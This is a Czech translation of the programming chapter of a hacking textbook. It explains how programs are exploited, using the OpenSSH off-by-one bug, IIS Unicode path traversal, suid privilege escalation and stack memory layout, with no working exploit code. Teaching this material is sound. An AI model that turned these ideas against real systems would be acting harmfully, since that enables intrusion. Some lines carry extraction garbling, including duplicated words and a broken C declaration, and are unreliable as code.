PROGRAMOVÁNÍ
Hacking je termín užívaný jak těmi, kteří píší kód, tak těmi,
kteří ho exploitují. I když mají tyto dvě skupiny odlišné cíle,
obě používají podobné techniky k řešení problémů. A protože
chápání programování pomáhá těm, co exploitují a chápání
exploitování pomáhá těm, co programují, mnoho hackerů
dělá oboje. Existují zajímavé hacky, které můžete najít jak
v technikách sloužících k psaní elegantního kódu, tak v technikách
sloužících k psaní exploitů. Hacking je v podstatě jen
hledání chytrého a neintuitivního řešení daného problému.
Hacky využité při exploitech programů povětšinou používají počítačová
pravidla (postupy, příkazy...) takovými způsoby, které nikdy nebyly zamýšlené,
k dosažení zdánlivě magických výsledků; velmi často bývají zaměřeny
na obcházení zabezpečení. Hacky obsažené v programech jsou jim
podobné v tom smyslu, že používají pravidla počítače novými a vynalézavými
způsoby. Ve skutečnosti existuje nepřeberné množství programů, které
mohou být napsány s cílem splnit nějaký úkol, ale mnoho z těchto řešení
je nepřiměřeně velké, složité a pomalé, a jen málo z nich je malé, efektivní
18 0x200 Programování
a elegantní. Tuto kvalitu programu nazýváme elegancí, precizností, a chytrá
a vynalézavá řešení, které se blíží takové efektivitě, nazýváme hacky. Hackeři
na obou stranách programování mají schopnost ocenit jak krásu elegantního
kódu, tak duchaplnost chytrých hacků.
Kvůli náhlému vzrůstu výpočetní síly a dočasné ekonomické "dot-com"
bublině se přestalo hledět na chytré hacky a elegantní kód a začal se klást
důraz na maximální funkčnost, rychlost a co nejnižší cenu řešení. Nevyplatí
se strávit o pět hodin déle za počítačem a vytvořit tak rychlejší a efektivnější
kód, když je finální rozdíl v rychlosti jen několik málo milisekund a velikostně
se neušetří ani jedno procento z těch stovek miliónů bajtů, které
mají dnešní moderní počítače k dispozici. Když jde v prvé řadě jen o peníze,
trávení času optimalizací chytrými hacky se zkrátka a dobře nevyplatí.
Pravé ocenění elegance v programování je tedy na hackerech: počítačových
nadšencích, jejichž cíl není vydělat peníze, ale snaha vymačkat ze
svého starého Commodoru 64 každý bit, co to jen jde; na těch, kteří píší
exploity a potřebují napsat malé a úžasné kousky kódu, které proklouznou
skrz úzkou trhlinou v bezpečnosti; a na komkoliv jiném, kdo oceňuje snahu
hledat to nejlepší možné řešení daného problému. Jsou to lidé, které zajímá
programování a zbožňují elegantní kousky kódu a důmyslnost chytrých
hacků. Protože znalost programování je předpokladem pro pochopení jak
mohou být programy exploitovány, začneme tedy programováním.
0x210 Co je programování?
Programování je velmi přirozený a intuitivní proces. Program není nic víc
než sada příkazů napsaných v nějakém jazyku. Programy jsou všude, i lidé
s technofobií je používají každý den. Dopravní značení, kuchařské recepty,
fotbal a DNA, to jsou všechno programy, které existují a fungují v našich životech.
Typický "program" pro řízení v dopravě vypadá takhle:
Začni na Main Street směrem na východ, pokračuj dokud neuvidíš na pravZačni pravé
straně kostel. Jestliže je ulice uzavřena kvůli stavbě, zaboč doprava na
15. ulici, pak doleva na Pine Street a doprava na 16. V opačném případě
pokračuj a zaboč doprava na 16. ulici. Pokračuj po 16. a zaboč doleva na
Destination Road. Jeď rovně 5 mil, dům je po pravé straně. Adresa je 743
Destination Road.
Kdokoliv tomu bude rozumět. Instrukce jsou jednoznačné a jsou snadné
na pochopení, alespoň pro toho, kdo vám bude rozumět.
Ale počítač vám přirozeně rozumět nebude, rozumí pouze strojovému
jazyku. Abychom mohli předat počítači instrukce k vykonání, musí být zapsány
v tomto jazyku. Bohužel je strojový jazyk příliš složitý a špatně se
Hacking: umění exploitace 19
s ním pracuje. Strojový jazyk se skládá ze syrových bitů a bajtů a liší se
podle počítačové architektury, takže napsat program pro procesor Intel x86
by znamenalo zjistit všechny hodnoty asociované s instrukcemi, zjistit jak
spolu instrukce vzájemně reagují a bezpočet dalších nízkoúrovňových detailů.
Takovéto programování je jistě velmi těžkopádné a neintuitivní.
To, co nám pomůže překonat komplikace při psaní strojového kódu, je
překladač. Assembler je jedním z překladačů strojového jazyka: je to program,
který překládá assemblerovský jazyk na strojově čitelný jazyk. Assemblerovský
jazyk je zašifrovaný méně než strojový kód, protože místo
používání čísel pro instrukce a proměnné používá jména. Avšak tento jazyk
má stále k intuitivitě daleko. Jména instrukcí jsou těžko srozumitelná,
a jazyk sám se stále liší v závislosti na použité architektuře. To znamená, že
stejně jako se liší strojový kód pro procesory Intel x86 a procesory Sparc,
liší se assembler pro Intel x86 od assembleru pro Sparc. Jakýkoliv program
napsaný v assembleru pro jeden procesor nebude fungovat pro jiný procesor,
pokud se pro něj nepřepíše. Ještě dodám, že k napsání efektivního
programu v assembleru musíte znát mnoho nízkoúrovňových detailů cílové
architektury.
Tyto problémy se dají zmírnit použitím dalšího typu překladačů kompilátoru.
Kompilátor převádí vysokoúrovňový jazyk na strojový jazyk. Vysokoúrovňové
jazyky jsou mnohem intuitivnější než assembler a výsledný
kód se dá přeložit do více typů strojového kódu pro více typů architektury
procesoru. C, C++ nebo FORTRAN jsou příklady vyšších jazyků. Program
napsaný v tomto jazyce je mnohem srozumitelnější a více podobný angličtině
než assembler nebo strojový jazyk, avšak stále musí splňovat přísná
pravidla zápisu instrukcí, jinak mu kompilátor neporozumí a nepřeloží jej.
Programátoři mají ještě jeden druh programovacího jazyku zvaný pseudo-
kód. To je jednoduchá řeč řazená do obecné struktury podobné vysokoúrovňovém
jazyku. Stále to není rozpoznatelné kompilátory, assemblery
nebo počítači, ale je to pro programátora užitečný způsob jak uspořádat
složitější konstrukce. Pseudo-kód není nikterak definovaný, každý jej píše
trochu jinak. Je to jakýsi spojovací článek mezi přirozenými jazyky, jako je
třeba angličtina, a vysokoúrovňovými jazyky, jako je třeba jazyk C. Pokyny
pro řízení v dopravě zmíněné výše mohou po převedení do pseudo-kódu
vypadat třeba takto:
Začni směrem na východ na Main streetZačni street;
Až do (kostel je na pravo)
{
Jeď po Hlavní;
}
Jestliže (ulice je zablokovaná)
{
20 0x200 Programování
Otoč se(doprava, 15. ulice) Otoč ulice);
Otoč se(doleva, Pine street);
Otoč se(doprava, 16. ulice);
}
jinak
{
Otoč se(doprava, 16. ulice);
}
Otoč se(doleva, Destination Road);
Pro (5 iterací)
{
Jeď rovně 1 míli;
}
Zastav na 743 Destination Road;
Každá instrukce je zalomena na jednu samostatnou řádku a logika vykonávání
pokynů je dána řídící strukturou. Bez řídící struktury by program mohl
sestávat jen ze sekvenčních příkazů bez možnosti měnit vykonávání na základě
podmínek, ale naše řízení v dopravě je přece jenom složitější. Jsou
tam příkazy jako třeba "pokračuj, dokud neuvidíš na pravé straně
kostel" nebo "jestliže je ulice uzavřena kvůli stavbě..." a právě
ty mění tok vykonávání programu z jednoduchého sekvenčního pořadí do
složitějšího a užitečnějšího toku vykonávání.
Je třeba dodat, že instrukce pro otočení auta jsou mnohem komplikovanější
než pouhé "zaboč doprava na 16. ulici". Otočení auta může
zahrnovat vyhledání správné ulice, zpomalení, zapnutí blinkru, otočení kol
a konečně vyrovnání rychlosti jízdy na nové silnici. Protože mnoho z těchto
činností jsou stejné pro všechny ulice, mohou být vloženy do tzv. funkce.
Funkce přijímá sadu argumentů jako vstup, spustí svou vlastní sadu
instrukcí v závislosti na vstupu a pak se vrátí zpět na původní místo, ze které
byla volaná. Přepis funkce v pseudo-kódu může vypadat třeba takto:
Funkce Otoč se(směr, ulice)
{
vyhledej ulici;
zpomal;
jestliže (směr = = doprava)
{
zapni pravý blinkr;
otoč koly doprava;
}
jinak
{
Hacking: umění exploitace 21
zapni levý blinkr zapni blinkr;
otoč koly doleva;
}
zrychli;
}
Použitím této funkce opakovaně se může auto otočit na libovolné ulici, v jakémkoliv
směru, bez nutnosti pokaždé tyto instrukce znovu psát. Zapamatujte
si, že v okamžiku, kdy se zavolá funkce, vykonávání programu skočí
na jiné místo, spustí se kód funkce a po jejím skončení se vrátí zpět na původní
místo vykonávání.
Důležitý je také fakt, že každá funkce má svůj vlastní kontext. To znamená,
že všechny lokální proměnné v každé funkci jsou v dané funkci jedinečné,
každá funkce má svůj vlastní kontext, případně prostředí, ve kterém je
spuštěno. Jádro programu je funkce se svým vlastním kontextem a každé
funkci z ní volané je vytvořen nový kontext. Jestliže volaná funkce zavolá
další funkci, vytvoří se v té předešlé kontext pro tu následující a tak dále.
Toto vrstvení funkčních kontextů dělá každou funkci svým způsobem atomickou.
Řídící struktury a funkční koncepty v pseudo-kódu můžete nalézt v mnoha
rozdílných programovacích jazycích. Pseudo-kód může prakticky vypadat
jakkoliv, ale ten předchozí byl napsán tak, aby se podobal jazyku C.
Tato podobnost je užitečná, neboť C je hojně používaný programovací jazyk.
Ve skutečnosti je větší část Linuxu a dalších moderních implementací
Unixu psaná v Céčku. Protože Linux je open-sourcový operační systém
se snadným přístupem ke kompilátorům, assemblerům a debuggerům, je
to skvělá platforma, na které se dá mnoho naučit. Kvůli záměru této knihy
předpokládáme, že všechny operace se uskutečňují na x86 kompatibilním
procesoru s nainstalovaným Linuxem.
0x220 Exploitování programu
Exploitování je základem hackingu. Programy nejsou nic víc než komplexní
sada pravidel, sledující určitý tok činností, která počítači říká, co má dělat.
Exploitování programu znamená přinutit program vykonat to, co chcete vy,
dokonce i když byl původně program navržen tak, aby tomu zabránil.
Protože program může dělat jenom to, k čemu byl navržen, bezpečnostní
díry jsou ve skutečnosti vady nebo přehlédnutí v návrhu programu nebo
v prostředí, ve kterém je spuštěn. K nalezení těchto chyb je zapotřebí kreativního
ducha, stejně tak jako k jejich předejití.
Někdy jsou tyto chyby produktem relativně zřejmých programátorských
chyb, ale existují méně zřetelné chyby, které napomohly zrození složitěj22
0x200 Programování
ších exploitovacích technik, které mohou být aplikovány na mnoha rozdílných
místech.
Programy mohou dělat pouze to, k čemu byly naprogramovány. Bohužel
to, co je napsáno, se nemusí shodovat s tím, co programátor zamýšlel. Tento
princip se dá vysvětlit pomocí tohoto vtipu:
Muž se prochází lesem a najde na zemi kouzelnou lampu. Instinktivně ji
zvedne, otře a tím vyvolá džina. Ten mu poděkuje za to, že ho pustil ven,
a nabídne mu, že mu splní tři přání.
"Jako první," povídá muž, "bych chtěl milion dolarů."
Džin ukáže prstem a objeví se před ním kufr plný peněz.
Muž se zaraduje a pokračuje: "Potom bych chtěl Ferrari."
Džin opět ukáže prstem a z kouře se vynoří Ferrari.
A muž pokračuje: "A konečně, chtěl bych být neodolatelný pro ženy."
Džin na něj ukáže prstem a muž se změní v balíček čokolády.
Stejně tak, jako džin splnil přesně to, co po něm muž chtěl, program udělá
přesně to, co mu zadá programátor, ačkoliv výsledky nemusí být vždy takové,
jaké byly zamýšleny. A občas mohou být i katastrofální.
Programátoři jsou lidé a občas to, co napíšou, není přesně to, co chtěli
napsat. Například jedna hodně častá programátorská chyba se nazývá
off-by-one. Jak už napovídá jméno, je to chyba, kdy se programátor splete
o jedničku. Stává se to častěji, než byste si mysleli, a dá se to krásně prezentovat
na tomto úkolu: stavíte plot v délce 20 m, po dvou metrech bude sloupek,
kolik sloupků budete potřebovat? Samozřejmá odpověď je 10, ale to je
špatně, doopravdy jich je potřeba 11. Tento typ chyby off-by-one se často
nazývá fencepost error a dochází k ní v případech, kdy programátor místo
počtu prstů spočítá počet mezer mezi nimi nebo naopak. Dalším příkladem
je, když se programátor snaží vybrat rozsah čísel nebo položek ke zpracování,
jako třeba od N do M. jestliže N = 5 a M = 17, kolik položek se musí
zpracovat? Asi byste odpověděli že M N, nebo 17 5, tedy 12. Ale to není
správně, protože tam je ve skutečnosti M N + 1 položek, tedy 13. Může
se to zdát matoucí a ono to doopravdy takové je, a to je právě ten důvod,
proč k těmto chybám tak často dochází.
Takové chyby často bývají nepostřehnuty, protože se programy netestují
pro úplně všechny vstupní možnosti, a jejich efekt se neprojeví při normálním
běhu programu. Avšak jednou se chyba projeví a může dojít k lavinovému
efektu, který ovlivní logiku celého zdánlivě bezpečného programu
a stane se bezpečnostní slabinou.
Jeden nedávný případ se stal v OpenSSH, což je bezpečný terminálový
komunikační program navržený tak, aby nahradil nezabezpečené a nešifroHacking:
umění exploitace 23
vané služby jako je třeba telnet, rsh a rcp. Byla ovšem nalezena chyba typu
off-by-one v kódu pro alokaci kanálu, která se poté hodně exploitovala. Kód
obsahoval tento příkaz if:
if (id < 0 || id > channels_alloc) {
a měl správně vypadat takto:
if (id < 0 || id >= channels_alloc) {
V lidské řeči chybný kód říká "jestliže je ID menší než 0 nebo je větší než
počet alokovaných kanálů, spusť případný kód", ten správný zní "jestliže
je ID menší jak 0 nebo větší nebo rovno počtu alokovaných kanálů, spusť
případný kód."
Jednoduchá chyba off-by-one dovolila další exploitování programu,
takže normální uživatel přihlašující se do systému mohl získat jeho plná
administrátorská práva. Toto rozhodně programátoři při návrhu tak zabezpečeného
programu, jako je OpenSSH, nezamýšleli, ale počítače pouze vykonávají
to, co jim bylo přikázáno vykonat, nic víc, nic míň.
Další situace, která vede k vytváření programátorských chyb, je když
se program rychle modifikuje pro zvýšení funkcionality. Zatímco se zvyšuje
prodejnost a cena produktu, program se stává složitějším a náchylnějším
k vzniku a přehlédnutí chyb. Webový server Microsoft IIS byl navržen
k poskytování statického a interaktivního obsahu uživatelům. Aby toho
bylo dosaženo, program musí dovolit uživatelům čtení, zápis a spouštění
programů a souborů pouze v určitých adresářích. Bez tohoto omezení by
měli uživatelé plnou kontrolu nad systémem, což je z bezpečnostního hlediska
nepřípustné. Aby tomu IIS zabránilo, obsahuje kód na kontrolu cesty,
který zabrání použití zpětného lomítka ( backslash) pro zpětný průchod
adresářovou strukturou.
S přidáním podpory znakové sady Unicode vzrostla složitost programu.
Unicode je znaková sada kódovaná dvěma bajty a je navržena tak, aby podporovala
všechny jazyky, včetně např. čínštiny či arabštiny. Využitím dvou
bajtů místo jednoho se umožnilo použití desítek tisíc možných znaků, na
rozdíl od dvou set původních. Toto rozšíření ale také znamenalo, že se zpětné
lomítko dalo zakódovat více různými způsoby. Například %5c se v Unicode
převede na zpětné lomítko, ale až po kontrole cesty. Takže použitím
%5c místo \ bylo rovněž možné procházet adresáři. Červi Sadmind a Code-
Red zneužívali tuto přehlédnutou chybu v konverzi znaků v Unicode k předělání
webových stránek.
Jiný příklad využití špatně stanovených mantinelů pochází z vnějšku
počítačového světa, je známý jako "LaMacchia Loophole" (pozn. překl.:
v češtině LaMacchiova skulina, ale tento český ekvivalent se příliš nepo24
0x200 Programování
užívá). Stejně jako pravidla počítačového programu, právo Spojených Států
občas používá pravidla, která jsou sepsána jinak, než jak byla původně
zamýšlena. Stejně jako exploit počítačového programu, tyto legální skuliny
mohou být využity pro obejití zákona. Koncem roku 1993, 21letý hacker
a student MITu David LaMacchia zveřejnil na svých stránkách systém "Cynosure"
za účelem výměny pirátského softwaru. Ti, kteří měli nějaký software,
jej tam nahráli a ti, kteří software sháněli, si jej mohli stáhnout. Tato
služba byla v provozu jen zhruba 6 týdnů, ale natolik zatížila celosvětový
síťový provoz, že přilákala pozornost univerzity a federálních úřadů. Softwarové
společnosti tvrdily, že tímto systémem přišly o jeden milión dolarů,
a federální velká porota obvinila LaMacchia z porušení zákona. Obvinění
bylo ovšem staženo, neboť LaMacchia dokázal, že žádný copyrightový zákon
neporušil, protože z distribuce softwaru mu neplynuly žádné finanční
výhody. Ti, kdož tento zákon vymýšleli, nepřipustili možnost, že by někdo
provozoval podobné aktivity s jiným motivem, než je finanční zisk. Později,
v roce 1997, kongres tuto díru v zákoně zalepil vydáním tzv. No Electronic
Theft Act. Abstraktní koncepty hackingu překročily počítačový svět a mohou
být aplikovány v mnoha jiných aspektech našich životů, včetně složitých
systémů.
0x230 Obecné exploitovací techniky
Chyby typu off-by-one a Unicode nejsou na první pohled viditelné, ale jsou
jasně zřetelné pro programátora sedícího na druhé straně. Existují ovšem
chyby, jejichž exploitování není tak jednoduché. Vliv těchto chyb na bezpečnost
není vždy viditelný přitom se takové problémy s bezpečností dají
najít takřka všude. Protože stejné typy chyb se vyskytují na mnoha místech,
mohou být využity v rozmanitých situacích.
Dva nejčastější obecné typy exploitů zneužívají chybu přetečení paměti
( buffer-overflow) a chybu ve formátovacím řetězci ( format-string). S těmito
technikami je možné nakonec převzít kontrolu nad průběhem vykonávání
programu propašováním části zákeřného kódu a jeho spuštěním. Také se
tomu říká execution of arbitrary code ( spuštění svévolného kódu), protože
hacker může donutit program dělat takřka cokoliv.
Ale to, co dělá tyto typy exploitů zajímavé jsou rozličné chytré hacky,
které se vyvíjely s cílem dosáhnout působivých výsledků. Porozumění
těmto technikám je mnohem silnější zbraní než pouhý exploit, protože tyto
znalosti mohou být využity k vytvoření mnoha dalších kouzel. Avšak předpokladem
pro jejich pochopení je hlubší znalost souborových práv, proměnných,
funkcí, systému alokace paměti a jazyka assembleru.
Hacking: umění exploitace 25
0x240 Víceuživatelská přístupová práva
k souborům
Linux je víceuživatelský operační systém, ve kterém jsou plná systémová
oprávnění v rukou administrátorského účtu zvaném " root". Kromě uživatele
root jsou v systému další uživatelské účty a skupiny. Více uživatelů
může náležet jedné skupině a jeden uživatel může spadat pod více skupin.
Přístupová práva k souborům jsou založena jak na uživatelích, tak na
skupinách, takže jiní uživatelé nemohou číst vaše soubory, pokud nemají
explicitně udělena práva. Každý soubor je přidružený k uživateli a skupině
a práva mohou být udělena pouze vlastníkem souboru. Existují tři práva:
číst (read), zapisovat ( write) a spouštět ( execute) a mohou být zapnuta
nebo vypnuta ve třech položkách: uživatel ( user), skupina ( group) a ostatní
( other). Položka uživatel značí, co vše může vlastník se souborem dělat,
skupina upřesňuje, co vše mohou se souborem dělat uživatelé spadající
do stejné skupiny jako vlastník, a ostatní logicky popisuje práva ostatních
uživatelů. Tato oprávnění se zobrazují písmeny r, w a x, ve třech polích
uživatel, skupina a ostatní. V následujícím příkladu má uživatel právo
čtení a zápisu, skupina čtení a spouštění a ostatní zápis a spouštění.
-rw-r-x-wx 1 guest visitors 149 Jul 15 23:59 tm-tmp
Jsou situace, kdy je potřeba povolit neprivilegovanému uživateli vykonání
nějaké systémové akce, která vyžaduje práva roota, jako je například změna
hesla. Jedno možné řešení je dát uživateli práva roota; tímhle krokem se
ovšem udělí veškerá systémová práva, což není z bezpečnostního hlediska
příliš vhodné. Místo toho je dána programům možnost běžet v kontextu
roota, takže systémová činnost může správně proběhnout, aniž by uživatel
musel být zároveň root. Tomuto typ oprávnění se říká právo suid ( Set
User ID nastav uživatelovo ID) nebo také suid bit. Když program s tímto
právem spustí nějaký uživatel, jeho euid ( Effective User ID efektivní uživatelské
ID) se změní na UID vlastníka souboru a pak je teprve program
vykonán. Až se program ukončí, uživatelovo euid se změní zpět na svoji
původní hodnotu. Tento bit se ve výpisu souborů označuje písmenem s.
Existuje také právo sgid ( Set Group ID nastav ID skupiny), které dělá přesně
to samé s efektivním ID skupiny.
-rwsr-xr-x 1 root root 29592 Aug 8 13:37 /usr/bin/passwd
Například, pokud by chtěl uživatel změnit svoje heslo, musí spustit program
/usr/bin/ passwd, jehož vlastníkem je root a má nastavený suid bit.
UID uživatele se před spuštěním změní na UID roota (tedy 0) a po skončení
se změní nazpět. Programy, které mají právo suid a jejichž vlastníkem je
root se nazývají suid root programy.
26 0x200 Programování
Toto je místo, kde se změna toku spouštěného programu může stát kritickou.
Pokud se dá tok suid root programu změnit tak, aby spustil nějaký cizí
kód, útočník se může stát rootem. Pokud útočník dokáže přinutit program,
aby pro něj spustil shell, ke kterému by se mohl dostat, bude mít oprávnění
roota na uživatelské úrovni. Jak již bylo zmíněno výše, toto je obecně z bezpečnostního
hlediska velmi špatné, protože to dává útočníkovi plná práva
k ovládání celého systému.
Vím co si teď myslíte: "To zní úžasně, ale jak mohu změnit tok vykonávání
programu, pokud se program sestává ze striktního souboru pravidel?"
Mnohé programy jsou napsány ve vysokoúrovňových jazycích (tzv. HLL
High-Level Languages), jako je třeba C. Když programátor pracuje v těchto
jazycích, často mu unikne způsob, jakým program nakládá s proměnnými,
se zásobníkem, s pointery ( ukazateli) a s dalšími nízkoúrovňovými
záležitostmi, které nejsou v HLL jazycích tolik zřejmé. Hacker znalý nízkoúrovňových
příkazů, ze kterých se HLL program skládá, rozumí vykonávání
programu lépe než programátor, který jej napsal. Hackování běhu programu
tedy není žádné porušování programových pravidel, je to o znalosti
více věcí a jejich souvislostí a o jejich použití nevšedními způsoby. Abyste
pochopili tyto exploitovací metody a byli schopni psát programy, které
jim dovedou zabránit, je zapotřebí hlubšího porozumění programátorským
pravidlům nižší úrovně, jakým je třeba virtuální paměť programu.
0x250 Paměť
Paměť se může na první pohled jevit docela strašidelně, ale je třeba mít na
paměti, že uvnitř počítače není nic jiného, než jen obří kalkulačka. Paměť je
jen dočasné úložné místo a nic víc než bajty očíslované tzv. adresou. Tato
paměť může být zpřístupněna adresou a bajt na jednotlivé adrese se může
číst a zapisovat. Nynější procesory typu Intel x86 používají 32bitový adresovací
mechanismus, který dokáže zpřístupnit 2 32 tedy 4 294 967 296 možných
adres. Programové proměnné ( variables), jsou určitá místa v paměti,
která slouží pro uchování informací.
Ukazatelé, pointery (pointers) jsou speciální typy proměnných, které
v sobě uchovávají adresu paměťového místa pro umožnění jeho pozdějšího
odkazování. Protože paměť nemůže být sama o sobě přesunuta, informace
se musí kopírovat. Bylo by ovšem výpočetně náročné kopírovat
dlouhé kusy paměti, aby je mohly jednotlivé funkce z různých míst používat.
Je to také náročné na spotřebu paměti, protože paměť musí být alokovaná
dříve, než se bude moci kopírovat. Pointery řeší právě tento problém.
Místo kopírování velkých bloků paměti se pointeru přiřadí adresa onoho
velkého bloku. Potom může být tato malá 4bajtová proměnná předána dalším
funkcím, které potřebují přistoupit k paměti.
Hacking: umění exploitace 27
Procesor má vlastní speciální paměť, která je relativně malá. Tyto části
paměti se nazývají registry (registers) a existují speciální registry, které udržují
informace o vlastním spouštěném programu. Jeden z nejdůležitějších
registrů je extended instruction pointer ( EIP). EIP je pointer, který ukazuje
na právě prováděnou instrukci. Dalšími registry jsou extended base pointer
( EBP) a extended stack pointer ( ESP). Všechny tyto tři registry jsou velmi
důležité při vykonávání programu a budou detailněji probrány později.
0x251 Deklarace paměti
Při programování v nějakém vysokoúrovňovém jazyce, jako je třeba C, se
proměnné deklarují datovým typem. Tyto datové typy mohou být např.
celá čísla ( integer) nebo znaky ( character) nebo jiné, třeba i uživatelem
definované struktury. Pro tyto proměnné je nezbytné alokovat dostatečný
prostor, což pro celé číslo může být 4 bajty a pro znak třeba jeden jediný
bajt. To znamená, že celé číslo má 32 bitů místa (4 294 967 296 možných
hodnot), zatímco znak má pouhých 8 bitů místa (256 možných hodnot).
Proměnné mohou být deklarované také v poli. Pole ( array) je seznam N
elementů daného datového typu. Takže v nejjednodušším případě je desetiznakové
pole prostě 10 znaků sousedících vedle sebe v paměti. Někdy se
polím říká buffer a poli znaků řetězec ( string). Protože je kopírování velkých
kusů paměti výpočetně náročné, používají se pointery ( ukazatele) pro odkazovaní
na buffer. Pointery se v Céčku deklarují připojením hvězdičky
před jméno proměnné; zde je pár příkladů deklarací proměnných:
int integer_variableint variable;
char character_variable;
char character_array[10];
char *buffer_pointer;
Důležitý detail vztahující se k paměti na procesorech typu x86 je pořadí
bajtů v 4bajtovém slovu. Toto řazení je známé pod pojmem little endian,
které říká, že nejméně signifikantní (významný) bajt je ten první. Znamená
to, že bajty slova, jakým je třeba celé číslo nebo pointer, jsou uloženy
v převráceném pořadí. Hexadecimální hodnota 0x12345678 v kódování little
endian je v paměti uložena jako 0x78 0x56 0x34 0x12. Ačkoliv kompilátory
pro HLL, jakým je třeba C, automaticky bajty řadí, je důležité si toto
zapamatovat.
0x252 Ukončení nulovým bajtem
Občas se stane, že je pro pole znaků alokováno deset bajtů, ale doopravdy
se využijí jen čtyři. Jestliže je slovo "test" uloženo v desetiznakovém poli,
28 0x200 Programování
zbudou na jeho konci nevyužité znaky. V tom případě se použije nula ( bitová
nula, nebo také znak null) pro ukončení řetězce. Ta říká všem funkcím
pro práci s řetězci, že mají svoji činnost ukončit právě na tom místě.
0 1 2 3 4 5 6 7 8 9
t e s t 0 X X X X X
Funkce pro kopírování řetězců tedy zkopíruje pouze "test" a zastaví se
u nulového znaku, nezkopíruje tedy celý buffer. Stejně tak funkce, která
vypisuje obsah řetězce, vypíše pouze "test" místo "test" plus následující
náhodné znaky uložené v paměti. Ukončování řetězců bitovou nulou zvyšuje
efektivitu a umožňuje funkcím s řetězcem lépe pracovat.
0x253 Segmentace paměti programu
Paměť programu je rozdělena na pět segmentů: text, data, bss (block started
by symbol, segment neinicializovaných dat), heap ( halda) a stack ( zásobník).
Každý segment reprezentuje speciální část paměti, která je vymezena
pro určité účely.
Segment text se někdy značí i jako code. To je místo, kde se nacházejí
instrukce strojového jazyka. Vykonávání instrukcí v tomto segmentu
není lineární, diky výše zmíněným vysokoúrovňovým řídicím strukturám
a funkcím, které se zkompilují do instrukcí větvení ( branch), skoků ( jump)
a volání ( call). V okamžiku spuštění programu se EIP nastaví na první instrukci
segmentu text. Procesor potom následuje vykonávací smyčku, která
dělá následující:
1. Přečti instrukci, na kterou ukazuje EIP.
2. Přičti k EIP délku instrukce.
3. Vykonej instrukci přečtenou v kroku 1.
4. Jdi na krok 1.
Někdy je přečtená instrukce instrukcí skoku nebo volání, která mění EIP na
jinou adresu. Procesor se nestará o změny, neboť stejně předpokládá nelineární
vykonávání. Takže pokud se v kroku 3 EIP nějak změní, procesor
bude dále pokračovat v kroku 1, přečte a vykoná další instrukci, na kterou
EIP ukazuje, ať už bude jakákoliv.
Právo zápisu je v segmentu text vypnuto, neboť neslouží k uchovávání
proměnných, ale jen kódu. To zabrání lidem modifikovat programový kód
a jakýkoliv pokus o zápis do tohoto segmentu paměti způsobí zobrazení varování
uživateli, že se stalo něco špatného, a okamžité ukončení programu.
Další výhodou toho, že je tento segment pouze pro čtení, je umožnění jeho
bezproblémového sdílení při spuštění více kopií téhož programu. Také je
vhodné poznamenat, že tento segment má fixní velikost.
Hacking: umění exploitace 29
Segmenty data a bss se používají pro uchování globálních a statických
programových proměnných. V segmentu data se ukrývají inicializované
globální proměnné, řetězce a další konstanty, které jsou v programu užívány.
V segmentu bss jsou neinicializované proměnné. Ačkoliv jsou tyto segmenty
zapisovatelé, také mají fixní velikost.
Segment heap (halda) se používá pro ostatní programové proměnné.
Segment haldy nemá konstantní velikost a podle potřeby může jeho velikost
růst i klesat. Celá tato paměť je řízena alokačními a dealokačními algoritmy,
které rezervují část paměti pro pozdější použití a zpětně odstraňují
rezervace, aby se oblast mohla později opět využít. Halda bude růst a klesat
v závislosti na tom, kolik paměti má pro tyto účely rezervováno. Růst
haldy začíná na nižších a postupuje do vyšších adres paměti.
Segment stack (zásobník) má také proměnou velikost a používá se jako
dočasné úložiště pro kontext během volání funkcí. Když program zavolá
funkci, bude mít vlastní sadu proměnných a kód funkce bude v jiné části
segmentu text (nebo code). Protože se kontext a EIP musí při volání funkce
změnit, zásobník slouží k zapamatování všech proměnných a EIP, na který
se po skončení funkce program opět vrátí.
V obecných počítačových termínech je zásobník abstraktní datová struktura,
která se velmi často používá. Má řazení typu FILO (First-In, Last-Out
první dovnitř, poslední ven), což znamená, že první položka, která se do
stacku dostane je tou poslední, která ze stacku může ven. Je to jako skládání
korálků na šňůru, která má zavázaný druhý konec nemůžete dostat
ven první korálek bez toho, aniž byste nejdříve nevytáhli ostatní korálky.
Přidání položky na zásobník se říká pushing a odebírání popping.
Jak napovídá jméno, paměťový segment zásobníku je ve skutečnosti datová
struktura. Registr ESP se používá k udržování adresy na konci zásobníku,
který se neustále mění, tak jak jsou neustále přidávány a odebírány
položky. Vzhledem k dynamickému chování této struktury je zřejmé, že
stack nemá fixní velikost. Opačně než halda velikost zásobníku roste z vyšších
adres k nižším.
Použití koncepce FILO pro implementaci zásobníku se může zdát zbytečné,
ale protože se stack používá pro uchovávání kontextu, je to velmi
užitečné. Když se zavolá funkce, potřebné údaje se vloží na zásobník ve
formě tzv. rámce zásobníku ( stack frame). Registr EBP, občas nazývaný jako
frame pointer ( FP, ukazatel na rámec) nebo local base pointer ( LB, ukazatel
na lokální bázi), se použije k odkazování na proměnné v aktuálním zásobníkovém
rámci. Každý takový rámec obsahuje parametry funkcí, její lokální
proměnné a dva pointery důležité pro navrácení věcí do stavu, v jakém
byly před samotným voláním: saved frame pointer ( SFP, uložený ukazatel
na rámec) a návratová adresa ( return value). Pointer na rámec zásobníku
se používá k obnovení EBP na jeho předchozí hodnotu a návratová adresa
k obnovení EIP na další instrukcí hned za voláním funkce.
30 0x200 Programování
Zde je příklad testovací funkce a hlavní funkce:
void test_function(int a, int b, int c, int d)
{
char flag;
char buffer[10];
}
void main()
{
test_function(1, 2, 3, 4);
}
V tomto krátkém kousku kódu se deklaruje testovací funkce se čtyřmi argumenty,
které jsou deklarovány jako celá čísla: a, b, c a d. Lokální proměnné
pro funkci zahrnuje jeden znak nazvaný flag a desetiznakový buffer nazvaný
buffer. Funkce main() se po spuštění programu spustí jako první
a jednoduše zavolá testovací funkci.
Když se funkce test_function zavolá z funkce main, uloží se na zásobník
rozličné hodnoty a vytvoří se rámec zásobníku. Argumenty funkce se
uloží v opačném pořadí (protože je stack FILO), tedy d, c, b a nakonec a.
V okamžiku, kdy je spuštěna instrukce call pro volání funkce test_
function(), se na zásobník uloží návratová adresa, jejíž hodnota bude EIP
ukazující na instrukci za instrukcí volání (tedy adresa instrukce call + velikost
samotné instrukce). Za návratovou adresou se nachází tzv. prolog
procedury. V tomto kroku se do zásobníku uloží hodnota registru EBP, což
je uložený ukazatel na rámec a později se použije pro obnovení do původního
stavu. Aktuální hodnota registru ESP se potom zkopíruje do registru
EBP a tím se nastaví ukazatel na nový rámec. Nakonec se alokuje paměť
pro lokální proměnné funkce (flag a buffer) na zásobníku zmenšením
ESP. Ke konci rámec zásobníku vypadá nějak takto:
vrchol zásobníku
nižší adresy
vyšší adresy
